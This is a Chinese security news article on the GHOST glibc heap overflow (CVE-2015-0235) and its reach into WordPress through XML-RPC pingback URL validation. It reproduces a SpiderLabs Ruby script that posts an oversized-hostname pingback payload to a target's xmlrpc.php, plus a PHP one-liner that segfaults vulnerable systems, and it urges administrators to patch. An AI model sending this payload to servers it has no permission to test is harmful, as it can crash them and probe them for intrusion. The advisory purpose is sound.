幽灵漏洞波及WordPress等web程序

2015-02-02 10,094

安全脉搏之前发布过《CVE-2015-0235:Linux Glibc幽灵漏洞允许黑客远程获取系统权限》《 CVE 2015-0235:Ghost glibc 缓存区溢出漏洞分析》详细介绍了所谓的幽灵Ghost漏洞CVE-2015-0235。

ghost-glibc-vulnerabilitywordPress

除了在clockdiff,procmail,pppd,Exim mail server等应用程序上发现了漏洞,我们发现大量的php应用程序也受到了影响,很多都使用了gethostbyname()函数。

比如著名的WordPress程序里的 wp_http_validate_url() 函数用来验证pingback回来的url,里面就使用了gethostbyname()函数,因此也受到幽灵漏洞的影响!

Sucuri-GetHostbyName

攻击者能够通过插入恶意的URL来触发这个缓冲区溢出漏洞,如果利用成功,就可以获取到服务器的权限。

6a00e551318e8a883301b7c741a0af970b-800wi

spiderlabs发布了一个ruby测试脚本

#
# --[ Trustwave SpiderLabs Research Team ]--
# Ref: http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html 
#
require "net/http"
require "uri"

if ARGV.count != 2
  puts "Usage: #{ARGV[0]} [Target URL] [count]"
  exit
end

matched = ARGV[0].match(/(?<domain>[^\/]*)(?<path>\/.*)(\/xmlrpc.php)?/)
uri = URI.parse("http://#{matched[:domain]}")
ghost_host = "0"*ARGV[1].to_i

# Set up POST request
payload = <<_EOF_
<?xml version="1.0"?>
  <methodCall>
    <methodName>pingback.ping</methodName>
    <params><param><value>
          <string>http://#{ghost_host}/index.php</string>
    </value></param>
    <param><value>
      <string>http://#{ghost_host}/index.php</string>
    </value></param>
    </params>
  </methodCall>
_EOF_

begin
  Net::HTTP.start(uri.host, uri.port) do |http|
    response = http.post("#{matched[:path]}/xmlrpc.php", payload)
    if response.code == "500"
      puts "Vulnerable"
    else
      puts "Looks like you're safe, for today"
    end
  end 
rescue EOFError
  puts "Vulnerable"
end

 

更简单的可以直接用php如下命令测试:

php -r '$e="0";for($i=0;$i<2500;$i++){$e="0$e";} gethostbyname($e);'
Segmentation fault

如果返回Segmentation fault,说明存在漏洞

php_ghost-680x400

所以,如果你的服务器用的是Centos/RHEL/Fedora 5,6,7或者一些版本的Ubuntu ,建议各位站长,赶紧更新系统补丁或者使用WordPress的先禁用

其他类似WordPress的WEB程序也有可能受到Ghost漏洞影响。

 

【原文:critical-ghost-vulnerability-released && ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235  上头欢乐送 翻译发布】

 

 

本文作者:上头欢乐送

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/4469.html

Tags:
评论  (0)
快来写下你的想法吧!

上头欢乐送

文章数:5 积分: 2

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号